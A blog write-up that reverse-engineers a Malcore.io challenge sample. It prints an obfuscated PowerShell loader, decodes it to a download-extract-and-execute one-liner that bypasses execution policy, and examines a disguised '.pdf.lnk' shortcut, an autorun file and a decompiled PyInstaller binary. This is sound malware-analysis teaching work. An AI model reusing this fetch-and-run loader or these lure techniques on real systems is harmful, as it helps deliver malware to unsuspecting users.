The Challenger

Recently Malcore.io post at X/Twitter a reversing challenges. The is related to script that is hosted here – https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1

Dive! Dive! Dive!

At first glance, we saw what seems like a scrambled strings with several “eye-catchy” strings; resembling a function name – Invoke-WebRequest, Expand-Archive and the infamous -exECUtIonPOLicY bYpAsS stArT-ProcEss. Immediately we know that this is indeed an obfuscated PowerShell script.

function llIIllIIllIIllIIllIIllIIllIIllIIllII($vP9MZDGjnoJ) {
	$Mohfy6VuAN25tmCcilWJ = "\x90";
	$xgWjzvyhbOVsU6La79 = $vP9MZDGjnoJ.replace($Mohfy6VuAN25tmCcilWJ, " ") -split " ";
	$Mt = $xgWjzvyhbOVsU6La79.clone();
	[array]::reverse($Mt);
	$MXfstqmCoh2iTbaGnwr0j4Ny = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Mt));
	return $MXfstqmCoh2iTbaGnwr0j4Ny;
	}

function llIIllIIllIIllIIIIIIllIIllIlllllllII($7lGQcpZoLf6Yk2CPEezSv) {
	$6cZyHm8aYQX=-join ((0x41..0x5a) + (0x61..0x7a) | Get-Random -Count 20 | % {[char]$_});
	return "$6cZyHm8aYQX$7lGQcpZoLf6Yk2CPEezSv" 
	}

$hg34RNfykz5XdxBn287mU9=llIIllIIllIIllIIllIIllIIllIIllIIllII("=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90");
$tQsoNjk=llIIllIIllIIllIIllIIllIIllIIllIIllII("l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q");
$RXNPxpB=llIIllIIllIIllIIIIIIllIIllIlllllllII(".zip");
$CcAn4K8e=llIIllIIllIIllIIIIIIllIIllIlllllllII("");
Invoke-WebRequest $hg34RNfykz5XdxBn287mU9 -OutFile $RXNPxpB;Expand-Archive $RXNPxpB -DestinationPath $CcAn4K8e;
& $tQsoNjk -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH ".\$CcAn4K8e\stacy.exe";

Let’s try to go through the so called Function 1 & Function 2 in the script.

Function 1: llIIllIIllIIllIIllIIllIIllIIllIIllII
This function takes a string, replaces all occurrences of \x90 (which is a NOP operation in assembly, but here it’s just a placeholder) with a space, then splits the string into an array of individual elements. It then reverses the order of this array, decodes it from Base64, and converts it back into a UTF-8 string.

Function 2: llIIllIIllIIllIIIIIIllIIllIlllllllII
This function generates a random 20-character string of uppercase and lowercase letters. It then concatenates this random string with the input string ($7lGQcpZoLf6Yk2CPEezSv) and returns the result.

Purpose: It is likely used to create random filenames or paths, making it harder to detect or track.

The variables $hg34RNfykz5XdxBn287mU9 and $tQsoNjk store decoded strings (likely URLs or file paths) by using the llIIllIIllIIllIIllIIllIIllIIllIIllII function to deobfuscate Base64 encoded and reversed strings.
$RXNPxpB and $CcAn4K8e are generated as random filenames or paths by appending a random string to “.zip” and an empty string, respectively.

Invoke-WebRequest is used to download a file (presumably a ZIP file) from the decoded URL ($hg34RNfykz5XdxBn287mU9) and save it with random name that stored in $RXNPxpB.
Expand-Archive used extracts the contents of this ZIP file to the directory stored in $CcAn4K8e.
Finally, the script attempts to run an executable (stacy.exe) extracted from the ZIP file; using PowerShell’s Start-Process with -ExecutionPolicy Bypass to avoid script execution restrictions.

Since we know the purpose of both function, we can reverse the function in the script to see what those variable and ultimately the script purpose is. The variable in interest here is $hg34RNfykz5XdxBn287mU9 and $tQsoNjk as these both variable represent URL and file path based on the script.

To deobfuscate it, we use PowerShell code below:

# Deobfuscating function
function Deobfuscate-String($obfuscatedString) {
    # Step 1: Replace \x90 with space
    $decodedString = $obfuscatedString.Replace("\x90", " ")
    
    # Step 2: Reverse the string
    $reversedString = -join ($decodedString.ToCharArray() | ForEach-Object {$_})[-1..-($decodedString.Length)]
    
    return $reversedString
}

# Apply to the strings
$hg34RNfykz5XdxBn287mU9 = Deobfuscate-String "=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90"

# Now using the reversed string directly for Base64 decoding
$decodedPart = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hg34RNfykz5XdxBn287mU9))

# Output the results
Write-Output "Deobfuscated hg34RNfykz5XdxBn287mU9: $decodedPart"

# For $tQsoNjk
$tQsoNjk = Deobfuscate-String "l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q"
$decodedPart2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($tQsoNjk))

# Output the results
Write-Output "Deobfuscated tQsoNjk: $decodedPart2"

The output of code above as follow:

Deobfuscated hg34RNfykz5XdxBn287mU9: hxxps://github.com/Internet-2-0/file-samples/raw/master/misc/stacysmom.zip
Deobfuscated tQsoNjk: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Now we know that these 2 variables in question purpose/use is. Basically its an URL that serves ZIP files to be fetch/downloaded and PowerShell.exe full path.

Finally, we know that this PowerShell command line is downloading file named “stacysmom.zip”, rename the .zip file in random name, extract it and executing file named “stacy.exe” via PowerShell start-process parameter:

Invoke-WebRequest hxxps://github.com/Internet-2-0/file-samples/raw/master/misc/stacysmom.zip -OutFile cfEtdaKFlGIinrXvsSbj.zip;Expand-Archive cfEtdaKFlGIinrXvsSbj.zip -DestinationPath AeVxOnPuaXgtRGTvDbUj;
& C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH ".\AeVxOnPuaXgtRGTvDbUj\stacy.exe";

Next, we going to look what’s inside “stacysmom.zip” file are and their purpose.

Peeking stacysmom.zip

Now, let’s dive into the next file; “stacysmom.zip” and it’s content.

stacysmom.zip
SHA256 : 8bb0fe8d89b45ac3ebb7e5f63a57a41b95b511495ab43b1817c425a68647fc53

Inside the .zip file contains files and folder as follow:

stacysmom
├── .fi
│   ├── ch_1.lnk
│   ├── ed_9.lnk
│   └── ff_3.lnk
├── README.txt
├── autorun.ini
├── cliCk ME fOR inSTrucTioNs.pdf.lnk
├── just_m_logo.ico
└── stacy.exe

The file type details:

$ file stacysmom/*
autorun.ini:                       Microsoft Windows Autorun file
cliCk ME fOR inSTrucTioNs.pdf.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Jun  5 04:07:00 2021, mtime=Wed Jul 17 07:20:45 2024, atime=Sat Jun  5 04:07:00 2021, length=450560, window=hide
just_m_logo.ico:                   MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
stacy.exe:                         PE32+ executable (console) x86-64, for MS Windows, 6 sections

.fi/ch_1.lnk:						MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Jul 16 07:07:22 2024, mtime=Tue Jul 16 07:16:40 2024, atime=Fri Jun 21 18:25:32 2024, length=2795808, window=hide
.fi/ed_9.lnk: 						MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Fri Jul  2 12:19:18 2021, mtime=Tue Jul 16 07:15:18 2024, atime=Wed Jul 10 22:59:33 2024, length=3883560, window=hide
.fi/ff_3.lnk: 						MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Jun 26 07:31:54 2024, mtime=Tue Jul 16 07:13:50 2024, atime=Wed Jun 26 07:31:57 2024, length=676936, window=hide

The content and target properties of the files (some of it):

ch_1.lnk target properties:
"C:\Program Files\Google\Chrome\Application\chrome.exe" "hxxps://link.malcore.io"

ed_9.lnk target properties:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "hxxps://link.malcore.io"

ff_3.lnk target properties:
"C:\Program Files\Mozilla Firefox\firefox.exe" "hxxps://link.malcore.io"

autorun.ini contains:
[autorun]
action=Stacys mom
icon=just_m_logo.ico
open=stacy.exe

cliCk ME fOR inSTrucTioNs.pdf.lnk target properties:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH .\stacy.exe

So now we know that most of the code trying to executes file “stacy.exe”. Let’s dive into it next.

Journey to stacy.exe – Reversing PyInstaller executable

As usual, we’ll start by identifying and doing basic triage to understand more about the binary. Detect It Easy (DiE) shows the binary as PE64 with compiler C/C++:

But something that off a bit is it has ZLIB data compression which seems a bit suspicious. Seems like the binary is bundled with something.

Upon doing strings on stacy.exe, we can see that it is a Python3.9 binary.

PyInstaller also was used to convert the Python script to an executable:

In order to reverse the binary, we can use pyinstxtractor to the get the bytecode/.pyc:

PS C:\Users\Fossil\Downloads\pyinstxtractor-2024.04> python .\pyinstxtractor.py ..\SAMPLES!!\stacysmom\stacy.exe
[+] Processing ..\SAMPLES!!\stacysmom\stacy.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 5877800 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: stacy.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.9 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ..\SAMPLES!!\stacysmom\stacy.exe

You can now use a python decompiler on the pyc files within the extracted directory

It able to possible entry point and extract several files including stacy.pyc. Now we can use this .pyc file and convert it into original Python code.

To convert .pyc to source code/.py, we can use tools like using pycdc or online tool pylingual for conversion; in this case, I go for the latter:

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: stacy.py
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import sys
import time
import string
import random
import platform
import base64
CCCcccCCccCCCccccCCCcccCCC = random
ccCccCccCCccccCCcccCCCcccc = CCCcccCCccCCCccccCCCcccCCC.SystemRandom()
ccCCccCCCCcCCcccCCCccCCCcc = ccCccCccCCccccCCcccCCCcccc.randint

def stacy_do_something():
    aAAaaAaAAaaAAAAAAAaaAA = string
    aAAaaAaaAaaAAAaaAAaaAA = ''
    aAAaaAaAAaaAaaaaAAaaAA = ccCCccCCCCcCCcccCCCccCCCcc(1, 15)
    aAAaaaaAAaaAAAAAAAaaAA = range
    for _ in aAAaaaaAAaaAAAAAAAaaAA(aAAaaAaAAaaAaaaaAAaaAA):
        aAAaaAaaAaaAAAaaAAaaAA += aAAaaAaAAaaAAAAAAAaaAA.ascii_letters
    return aAAaaAaaAaaAAAaaAAaaAA

def stacy_get_me_a_sandwich():
    qQqqQQqqqQQQqqQQQQQQ = ccCCccCCCCcCCcccCCCccCCCcc(1, 20)
    qQqqQQqqqQQQqqqqqQQQ = []
    qQqqQqqqqQQQqQQQqQQQ = random
    qQqQQqqqqQQQqQqqqQQQ = sys
    for qQqqQQQQQQQQqQqqqQQQ in range(qQqqQQqqqQQQqqQQQQQQ):
        qQqqQQqqqQQQqQQQqQQQ = stacy_do_something()
        qQqqQQqqqQQQqqqqqQQQ.insert(qQqqQQQQQQQQqQqqqQQQ, qQqqQQqqqQQQqQQQqQQQ)
    if len(qQqqQQqqqQQQqqqqqQQQ) > ccCCccCCCCcCCcccCCCccCCCcc(1, 4):
        if not any((QQqqQQqQQqQQQqQQQqQQ in qQqQQqqqqQQQqQqqqQQQ.path for QQqqQQqQQqQQQqQQQqQQ in qQqqQQqqqQQQqqqqqQQQ)):
            if qQqqQqqqqQQQqQQQqQQQ.SystemRandom().randint(99, 100) < 1:
                qQqQQqqqqQQQqQqqqQQQ.path.insert(0, qQqqQQqqqQQQqqqqqQQQ[-1])
                qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
            else:
                qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
        else:
            qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
    else:
        qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
    return qqQQQqqqQQqqqqqqQQQq

def stacy_make_int(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU):
    return ccCCccCCCCcCCcccCCCccCCCcc(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU)

def stacy_shut_up(oOoOoOoOoOoOoOoO=False, oOoOoOoooOoOoOOO=True):
    oOoOoOoooOoooOOO = time
    oOoOOOoooOoooOOO = oOoOoOoooOoooOOO.sleep
    if oOoOoOoooOoOoOOO and (not oOoOoOoOoOoOoOoO):
        oOOOoOoooOoOoOOO = stacy_make_int(1, 13)
    elif not oOoOoOoooOoOoOOO and oOoOoOoOoOoOoOoO:
        oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
    elif oOoOoOoOoOoOoOoO and oOoOoOoooOoOoOOO:
        oOOOoOoooOoOOOOO = stacy_make_int(1, 4)
        oOoooOoooOoOOOOO = stacy_make_int(1, 13)
        oOOOoOoooOoOoOOO = oOOOoOoooOoOOOOO + oOoooOoooOoOOOOO
    else:
        oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
    oOoOOOoooOoooOOO(oOOOoOoooOoOoOOO)
    oOOOOOOooOoOoOOO = stacy_get_me_a_sandwich()
    return oOOOOOOooOoOoOOO

def should_stacy_shut_up():
    iIiIIiIIiiiIIii = stacy_make_int(1, 5) < 3
    if iIiIIiIIiiiIIii:
        iIiIIiIIiiiiIii = stacy_make_int(1, 4) > 2
        iIIIIiIIiiiiIii = stacy_make_int(1, 10) < 5
        stacy_shut_up(oOoOoOoooOoOoOOO=iIIIIiIIiiiiIii, oOoOoOoOoOoOoOoO=iIiIIiIIiiiiIii)

def is_stacy_in_the_right_spot():
    should_stacy_shut_up()
    eEEeeeeeeeEEEEEeeeeE = 'win'
    eEEeeEEeeeEEEEEeeeeE = platform.platform()
    EEEEeeEeeeEEEEEeeeeE = True
    EEEEeeEEEeEEEEEeeeeE = False
    if eEEeeeeeeeEEEEEeeeeE in eEEeeEEeeeEEEEEeeeeE.lower():
        return EEEEeeEeeeEEEEEeeeeE
    return EEEEeeEEEeEEEEEeeeeE

def stacy_dont_stay():
    ccCCCCcccCCCccccCCccc = print
    ccCCCCcccCCCccccCCccc('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')

def stacy_find_it():
    should_stacy_shut_up()
    bbBBbbBBbbbBBBBBBbbbbb = os
    bbbBBbbbbbbBBBBbbbbbbB = bbBBbbBBbbbBBBBBBbbbbb.path
    bbbBBbBBBbbBBBBbbbbbbB = bbbBBbbbbbbBBBBbbbbbbB.sep
    bbbBBBBBbbbBBBBBbbBBbB = bbBBbbBBbbbBBBBBBbbbbb.getcwd
    bbBbbbBbBBbBBBBbbbbbbB = f'{bbbBBBBBbbbBBBBBbbBBbB()}{bbbBBbBBBbbBBBBbbbbbbB}.fi'
    bbBbbbBbBBbBbbBbbbbbbB = []
    bbbbBBBBbbBBbBBbBBbBbb = '_'
    should_stacy_shut_up()
    BBbbBBbbbBBbBBbBBbbbbb = '.'
    for bbBbbbBbBbbBbbBbbbbbbB in bbBBbbBBbbbBBBBBBbbbbb.listdir(bbBbbbBbBBbBBBBbbbbbbB):
        bbBbbbBBBbbBbbBbbbbbbB = bbBbbbBbBbbBbbBbbbbbbB.split(bbbbBBBBbbBBbBBbBBbBbb)
        try:
            bbBbbbBBBBBBBbBbbbbbbB = int(bbBbbbBBBbbBbbBbbbbbbB[-1].split(BBbbBBbbbBBbBBbBBbbbbb)[0])
        except Exception:
            bbBbbbBBBBBBBbBbbbbbbB = 9
        bbBbbbBbBBbBbbBbbbbbbB.append([f'{bbBbbbBbBBbBBBBbbbbbbB}{bbbBBbBBBbbBBBBbbbbbbB}{bbBbbbBbBbbBbbBbbbbbbB}', bbBbbbBBBBBBBbBbbbbbbB])
    return bbBbbbBbBBbBbbBbbbbbbB

def stacy_make_pretty(zzZZzzzZZZZzzZZZzzZZZZZZ):
    should_stacy_shut_up()
    zzZZzzzzzzzzzZZZzzZZZzZZ = []
    zzZZzzzzzZZZzZZZzzZZZzZZ = None
    zzZZzzZZZzzzzZZZzzZZZzZZ = None
    for zzZZzzzzzzzzzZZZzzZZZzZZ in zzZZzzzZZZZzzZZZzzZZZZZZ:
        should_stacy_shut_up()
        zzZZzzzZZZZzzZZZzzZZZzZZ, zzZZzzzZZZZzzZZZzzzzzzZZ = zzZZzzzzzzzzzZZZzzZZZzZZ
        if zzZZzzzzzZZZzZZZzzZZZzZZ is not zzZZzzZZZzzzzZZZzzZZZzZZ:
            should_stacy_shut_up()
            if zzZZzzzZZZZzzZZZzzzzzzZZ < zzZZzzzzzZZZzZZZzzZZZzZZ:
                zzZZzzzzzzzzzZZZzzZZZzZZ.insert(0, zzZZzzzZZZZzzZZZzzZZZzZZ)
            else:
                zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
        else:
            zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
            zzZZzzzzzZZZzZZZzzZZZzZZ = zzZZzzzZZZZzzZZZzzzzzzZZ
    should_stacy_shut_up()
    zzZZzzzzzzzzzZZZzzZZZzZZ.reverse()
    return zzZZzzzzzzzzzZZZzzZZZzZZ

def stacy_breaks_shit(yYYyYyyYyyyyyYYYYYY):
    should_stacy_shut_up()
    for yYYyYyyYyyyyyYYyYYY in yYYyYyyYyyyyyYYYYYY:
        should_stacy_shut_up()
        try:
            os.startfile(yYYyYyyYyyyyyYYyYYY)
            break
        except:
            pass

def run_stacy():
    should_stacy_shut_up()
    xXXxxXXxXxxXXx = is_stacy_in_the_right_spot()
    if xXXxxXXxXxxXXx:
        should_stacy_shut_up()
        xXXxxXXxXXXXXx = stacy_find_it()
        should_stacy_shut_up()
        sorted_list = stacy_make_pretty(xXXxxXXxXXXXXx)
        should_stacy_shut_up()
        stacy_breaks_shit(sorted_list)
    else:
        stacy_dont_stay()
if __name__ == '__main__':
    qqQQqqQQqqQQqqQQQqqQQQ = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
    qqQQqqQQqqQQqqqqqqqQQQ = print
    qqQQQQQQqqQQqqQQQqqQQQ = base64
    QQQQqqQQqqQQqqQQQqqQQQ = qqQQQQQQqqQQqqQQQqqQQQ.b64decode
    qqQQqqQQqqQQqqqqqqqQQQ(QQQQqqQQqqQQqqQQQqqQQQ(qqQQqqQQqqQQqqQQQqqQQQ).decode())
    run_stacy()

Brief explanations on what the code does:

  • stacy_do_something(): Generates a random string of ASCII letters.
  • stacy_get_me_a_sandwich(): Creates a list of random strings (using stacy_do_something()) and modifies the system path based on certain conditions.
  • stacy_make_int(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU): Returns a random integer between the given bounds.
  • stacy_shut_up(oOoOoOoOoOoOoOoO=False, oOoOoOoooOoOoOOO=True): A sleep function with randomized timing, potentially adding delay before performing actions.
  • should_stacy_shut_up(): A conditional function that triggers the stacy_shut_up() function based on certain random conditions.
  • is_stacy_in_the_right_spot(): Checks if the script is running on a Windows platform. Returns True if it is Windows, False otherwise.
  • stacy_dont_stay(): Prints a message suggesting that the script should be run on Windows.
  • stacy_find_it(): Searches the current directory for files ending with .fi and returns a list of these files along with a numeric value derived from the filename.
  • stacy_make_pretty(zzZZzzzZZZZzzZZZzzZZZZZZ): Takes a list of files, sorts them, and reverses the order.
  • stacy_breaks_shit(yYYyYyyYyyyyyYYYYYY): Attempts to execute each file in the provided list using os.startfile().
  • run_stacy(): Orchestrates the script’s main functionality by checking the platform, finding files, sorting them, and attempting to execute them if the platform is Windows.

Basically, those obfuscated Python code is equivalent something like this:

import os
import sys
import time
import string
import random
import platform
import base64

# Random and system random initialization
secure_random = random.SystemRandom()
random_int = secure_random.randint

def generate_random_string():
    random_length = random_int(1, 15)
    result_string = ''
    for _ in range(random_length):
        result_string += string.ascii_letters
    return result_string

def create_random_string_list():
    list_length = random_int(1, 20)
    string_list = []
    for _ in range(list_length):
        random_string = generate_random_string()
        string_list.insert(_, random_string)
    
    if len(string_list) > random_int(1, 4):
        if not any(random_string in sys.path for random_string in string_list):
            if secure_random.randint(99, 100) < 1:
                sys.path.insert(0, string_list[-1])
                path = sys.path
            else:
                path = sys.path
        else:
            path = sys.path
    else:
        path = sys.path
    return path

def random_sleep_time(flag1=False, flag2=True):
    if flag2 and not flag1:
        sleep_time = random_int(1, 13)
    elif not flag2 and flag1:
        sleep_time = random_int(1, 4)
    elif flag1 and flag2:
        sleep_time = random_int(1, 4) + random_int(1, 13)
    else:
        sleep_time = random_int(1, 4)
    
    time.sleep(sleep_time)
    return create_random_string_list()

def should_sleep():
    if random_int(1, 5) < 3:
        if random_int(1, 4) > 2 and random_int(1, 10) < 5:
            random_sleep_time(flag2=True, flag1=True)

def is_windows():
    should_sleep()
    return 'win' in platform.platform().lower()

def suggest_windows():
    print('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')

def find_files():
    should_sleep()
    current_directory = os.getcwd()
    fi_folder = os.path.join(current_directory, '.fi')
    file_list = []
    
    if os.path.exists(fi_folder) and os.path.isdir(fi_folder):
        for filename in os.listdir(fi_folder):
            try:
                numeric_part = int(filename.split('_')[-1].split('.')[0])
            except Exception:
                numeric_part = 9
            file_list.append([os.path.join(fi_folder, filename), numeric_part])
    
    return file_list

def sort_files(file_list):
    should_sleep()
    sorted_list = []
    
    for file_data in file_list:
        filename, numeric_value = file_data
        if sorted_list and numeric_value < sorted_list[-1][1]:
            sorted_list.insert(0, file_data)
        else:
            sorted_list.append(file_data)
    
    should_sleep()
    sorted_list.reverse()
    return sorted_list

def execute_file(file_list):
    should_sleep()
    for file_data in file_list:
        filename, _ = file_data
        should_sleep()
        try:
            os.startfile(filename)
            break
        except:
            pass

def run():
    should_sleep()
    if is_windows():
        should_sleep()
        file_list = find_files()
        should_sleep()
        sorted_list = sort_files(file_list)
        should_sleep()
        execute_file(sorted_list)
    else:
        suggest_windows()

if __name__ == '__main__':
    # Decode the Base64 encoded message and print it
    base64_message = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
    print(base64.b64decode(base64_message).decode())
    
    # Run the main functionality
    run()

The End – Execution Flow

Now we know the purpose of the initial PowerShell script, the ZIP file content and the executable behavior. To end our journey, included here’s the diagram flow of execution:

				   START
					 |
					 v
				.ps1 script
					 |
					 v
			 download and extract
				stacysmom.zip
					 |---------------> autorun.ini
					 |----------------------|---------> cliCk ME fOR inSTrucTioNs.pdf.lnk --> powershell
					 |						|													  |
					 v						|													  |
			  execute stacy.exe	<-----------⊥---------------------------------------------------- ⅃
					 |
					 v
			Is the system Windows?
              /      			\
            Yes        			 No
             |          		 |
             v          		 v
	  Search for ".fi"   	Display message:
			files			"MAYBE YOU SHOULD RUN THIS ON WINDOWS?"
             |             		 |
			 v           		 v
	  Sort ".fi" files			END
             |
             v
Execute the first sorted file -----> chrome/edge/firefox -----> "hxxps://link.malcore.io"
             |
             v
  Is execution successful?
	    /   		\
	   Yes    		 No
		|       	 |
		v       	 v
	Terminate   Try next file
		|
		v
	   End

By zam

Any Comments?

This site uses Akismet to reduce spam. Learn how your comment data is processed.